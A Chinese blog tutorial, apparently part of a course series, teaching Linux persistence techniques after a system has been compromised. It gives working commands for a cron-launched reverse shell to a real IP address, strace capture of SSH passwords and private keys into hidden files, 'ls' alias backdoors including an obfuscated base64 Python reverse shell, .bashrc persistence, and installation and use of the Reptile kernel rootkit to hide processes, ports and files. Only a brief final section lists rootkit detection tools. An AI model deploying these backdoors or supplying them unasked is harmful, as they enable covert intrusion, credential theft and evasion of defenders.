当前位置: 首页 > news >正文

第145天:内网安全-Linux权限维持Rootkit后门Strace监控Alias别名Cron定时任务

案例一:权限维持-Linux-定时任务-Cron后门

linux的计时任务,配置文件再/etc/crontab下

创建后门文件,这里可以创建成隐藏文件

vim /etc/.back.sh

反弹shell的内容

#!/bin/bash

bash -i >& /dev/tcp/47.94.236.117/3333 0>&1

加上执行权限

编辑计时任务

kali开启监听就会执行一次

但是虽然隐藏了文件,但是查看计时任务还是会发现。

而且不管你怎么隐藏这里都会有一条建立连接的记录

案例二:权限维持-Linux-监控功能-Strace后门

strace 是一个动态跟踪工具,它可以跟踪系统调用的执行。我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围

命令

1、记录 sshd 明文
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &) 
查看文件
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log2、记录 sshd 私钥
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)

记录明文

这个记录的是通过ssh连接的密码

查看文件,会发现里面有一个123.com

 每次连接一次,文件都会倍速增大,谨慎使用把

案例三:权限维持-Linux-命令自定义-Alias 后门

alias基本使用

临时添加alias命令

alias 123="ls -l"
#添加unalias 123
#删除

甚至都不用删除,关闭窗口就会失效,正常生产环境运行的linux系统一般都只有一个窗口,除非关机,否则会一致生效

写入到家目录下的 .bashrc文件,重启也不会失效

这里后续实验就写个临时的

基础版反弹shell

alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/192.168.172.130/4444 0>&1; };alerts'
# 执行完ls之后,执行反弹shell的命令

虽然能够反弹shell,但是看图中的结果也能看出来会卡住

所以现在如果能有不会影响命令执行,同时也不会卡住就是最好的,下面这段代码就能够实现这个效果。

alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xNzIuMTMwIiwgNDQ0NCkpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDIpCiAgICAgICAgcCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk='\'')))";};alerts'

不过要进行一些修改,把base64解密,把ip换成自己的重新加密

执行不会卡住的同时,也会反弹shell

 经过实验发现这一长串,写入~/.bashrc中也能够实现,不过得写到最后面不然可能会因为闭合问题影响结果

持续化利用
vim /etc/upload
vim ~/.bashrc
if [ -f /etc/upload ]; then
. /etc/upload
fi

案例四:权限维持-Linux-内核加载 LKM-Rootkit 后门

先前面这几种情况,就算做了隐藏,查看端口一条命令也能发现与别的ip建立了连接,而使用Rootkit,可以把进程,端口,甚至文件全部都隐藏了,比较难以发现。

项目地址: Home · f0rb1dd3n/Reptile Wiki · GitHub

GitHub - f0rb1dd3n/Reptile: LKM Linux rootkit

适用环境,我用的centos7

普通玩法

上传解压后,一键运行脚本(centos7)

$kernel=`uname -r`yum -y install perl vim gcc make g++ unzipyum -y localinstall kernel-devel-"$kernal".rpmcd Reptile-2.0/ && chmod +x ./setup.sh./setup.sh install <<EOF
reptile
hax0r
s3cr3t
reptile
666
y
192.168.172.130
4444
1
EOF

安装完成

隐藏进程号

nohup ping 114.114.114.114 &
#不断在后台ping 114.114.114.114ps -ef | grep ping | grep -v grep
#查看ping的进程号/reptile/reptile_cmd hide 4774
#隐藏进程号ps -ef | grep ping | grep -v grep

可以发现这个进程直接没了但是还可以运行

隐藏/展示端口

隐藏连接: /reptile/reptile_cmd udp hide显示连接: /reptile/reptile_cmd tcp show

这里130的3333端口正在建立连接

执行命令后直接隐藏

甚至连文件当中带有reptile的都会隐藏

但是实验过程中发现在图形化界面当中并不会删除

进阶玩法

设置客户端,就是攻击主机需要他去连接被控主机,由于呢这里我只有centos7可以运行该程序,所以我就复制了一台centos7

这里呢攻击机的IP是192.168.172.139  被控主机的ip是192.168.172.142

被控主机设置的参数

类似于msf,进入客户端

./setup.sh client

查看选项

选项

LHOST     192.168.172.139     Local host to receive the shell
LPORT     5555 Local       port to receive the shell
SRCHOST     192.168.172.139     Source host on magic packets (spoof)
SRCPORT     666           Source port on magic packets (only for TCP/UDP)
RHOST     192.168.172.142      Remote host
RPORT     22            Remote port (only for TCP/UDP)
PROT      TCP           Protocol to send magic packet (ICMP/TCP/UDP)
PASS      s3cr3t          Backdoor password (optional)
TOKEN     hax0r         Token to trigger the shell

这个srcport是在安装过程中设置的

配置

运行后成功反射过来

可以上传文件,也可以反弹shell

 利用shell执行命令,发现是142

但是呢这个软件还是有一些问题的,就比如说在最新的kali中客户端都装不了,就更别说服务器了,不太能够比较好的适配新的系统,并且已经2020年停止更新了。

关于Rootkit的检测:

linux平台下:chkrootkit、rkhunter、OSSEC、zeppoo等
Windows平台下:BlackLight、RootkitRevealer、Rootkit Hook Analyzer
GitHub - grayddq/GScan: 本程序旨在为安全应急响应人员对Linux主机排查时提供便利,实现主机侧Checklist的自动全面化检测,根据检测结果自动数据聚合,进行黑客攻击路径溯源。

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 在这12种场景下会使Spring事务失效--注意防范
  • RestTemplate服务调用
  • Qt C++ Udp相关知识学习(一)
  • React 通用后台管理项目
  • 使用paddlerocr识别固定颜色验证码
  • Spring Boot实现发QQ邮件
  • 算法day23| 93.复原IP地址、78.子集、90.子集II
  • python第二章课堂笔记
  • Maven基本使用(下)
  • Zenmap
  • Mysql Innodb存储引擎原理—链接如下
  • ARM base instruction -- csel
  • 小琳AI课堂:多模态模型的训练与应用
  • 人工智能安全治理框架导图
  • 通信工程学习:什么是FMC固定移动融合
  • python3.6+scrapy+mysql 爬虫实战
  • 【402天】跃迁之路——程序员高效学习方法论探索系列(实验阶段159-2018.03.14)...
  • android 一些 utils
  • Docker 1.12实践:Docker Service、Stack与分布式应用捆绑包
  • es6--symbol
  • idea + plantuml 画流程图
  • IE报vuex requires a Promise polyfill in this browser问题解决
  • javascript从右向左截取指定位数字符的3种方法
  • Shadow DOM 内部构造及如何构建独立组件
  • Spring核心 Bean的高级装配
  • unity如何实现一个固定宽度的orthagraphic相机
  • WordPress 获取当前文章下的所有附件/获取指定ID文章的附件(图片、文件、视频)...
  • 关于 Linux 进程的 UID、EUID、GID 和 EGID
  • 技术攻略】php设计模式(一):简介及创建型模式
  • 利用DataURL技术在网页上显示图片
  • 排序(1):冒泡排序
  • 小程序上传图片到七牛云(支持多张上传,预览,删除)
  • 一文看透浏览器架构
  • 湖北分布式智能数据采集方法有哪些?
  • # 手柄编程_北通阿修罗3动手评:一款兼具功能、操控性的电竞手柄
  • ### Cause: com.mysql.jdbc.exceptions.jdbc4.MySQLTr
  • #QT项目实战(天气预报)
  • (7)STL算法之交换赋值
  • (cljs/run-at (JSVM. :browser) 搭建刚好可用的开发环境!)
  • (八)Flask之app.route装饰器函数的参数
  • (附程序)AD采集中的10种经典软件滤波程序优缺点分析
  • (附源码)springboot优课在线教学系统 毕业设计 081251
  • (附源码)ssm经济信息门户网站 毕业设计 141634
  • (原創) 物件導向與老子思想 (OO)
  • (自适应手机端)行业协会机构网站模板
  • .[hudsonL@cock.li].mkp勒索病毒数据怎么处理|数据解密恢复
  • .naturalWidth 和naturalHeight属性,
  • .net core docker部署教程和细节问题
  • .net 生成二级域名
  • .NET应用架构设计:原则、模式与实践 目录预览
  • .sdf和.msp文件读取
  • @EnableAsync和@Async开始异步任务支持
  • @SpringBootConfiguration重复加载报错
  • @staticmethod和@classmethod的作用与区别
  • @Transient注解